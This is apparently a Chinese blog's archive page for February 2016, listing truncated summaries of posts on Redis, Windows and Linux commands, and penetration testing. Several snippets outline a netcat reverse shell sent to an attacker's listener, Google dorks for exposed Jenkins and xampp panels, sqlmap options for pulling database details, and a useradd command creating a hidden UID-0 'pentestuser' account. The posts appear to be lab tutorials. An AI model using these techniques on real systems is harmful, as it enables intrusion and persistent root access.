02 2016 档案
摘要：1. Redis是什么 这个问题的结果影响了我们怎么用Redis。如果你认为Redis是一个key value store, 那可能会用它来代替MySQL;如果认为它是一个可以持久化的cache, 可能只是它保存一些频繁访问的临时数据。Redis是REmote DIctionary Server的缩
阅读全文
摘要：（1）google hack database （2）查找包含某关键字的特定类型文件 （3）寻找持续构建工具Jenkins的管理面板 （4）寻找安装了xampp的主机
阅读全文
摘要：1. 进入cmd命令环境 2. 输入"telnet www.baidu.com 80" 3. 利用快捷键"Ctrl+](右中括号)"来打开本地回显功能 （注本阶段执行过程和以下的过程均要求操作时间尽可能短，因为时间一长，便会被认为断开连接。） 4. 单击回车，进行编辑状态。 5. 输入以下报文 GE
阅读全文
摘要：（1）删除或是强行删除文件 del /? --->然后敲回车按键。显示这个命令的帮助信息。根据帮助信息得到命令使用方法便是：del [参数] [路径文件夹或目的文件]例如：删除c盘下面的“TimeEventNSIS.log”文件命令便写成：del C:\TimeEventNSIS.log如果是强制删
阅读全文
摘要：原理 实验环境： 攻击机：windows机器，IP:192.168.12.109 受害机：linux机器，IP:192.168.79.1 攻击机：设置本地监听端口2222 C:\netcat>nc -l -p 2222 受害机：反弹/bin/bash 到攻击机（192.168.12.109）的222
阅读全文
摘要：Linux系统提供给用户的最重要的系统程序是Shell命令语言解释程序。它不属于内核部分，而是在核心之外，以用户态方式运行。其基本功能是解释并执行用户打入的各种命令，实现用户与Linux核心的接口。系统初启后，核心为每个终端用户建立一个进程去执行Shell解释程序。它的执行过程基本上按如下步骤： (
阅读全文
摘要：文件传输：将文件从B用户机器传输到A用户机器。 实验环境1： A用户，windows系统，IP:192.168.12.109 B用户，linux系统，IP：192.168.79.3 A用户作为接受传输文件的一方，将通过以下命令指定端口1994进入监听状态， 当有外部连接接入1994端口时自动将文件保
阅读全文
摘要：（1）windows下查看某一端口是否被占用在CMD下使用以下命令。 netstat -aon | findstr "端口号" 例如：判断135与136端口是否被占用的命令： C:\netcat>netstat -ano | findstr "135" TCP 0.0.0.0:135 0.0.0.0
阅读全文
摘要：当利用某些工具对linux用户进行远程密码更改时，输入[ passwd 用户名 ] 后需要输入两次密码， 但是如果你利用的某些工具无法与linux进行交互的情况下，就没办法变更用户密码了，这个时候可以 考虑通过标准输入实现密码的更改。 useradd -o -u 0 -g 0 pentestuser
阅读全文
摘要：（1）选项：-r REQUESTFILE Load HTTP request from a file （2）选项：--current-db Retrieve DBMS current database （3）选项：--current-user Retrieve DBMS current user （
阅读全文
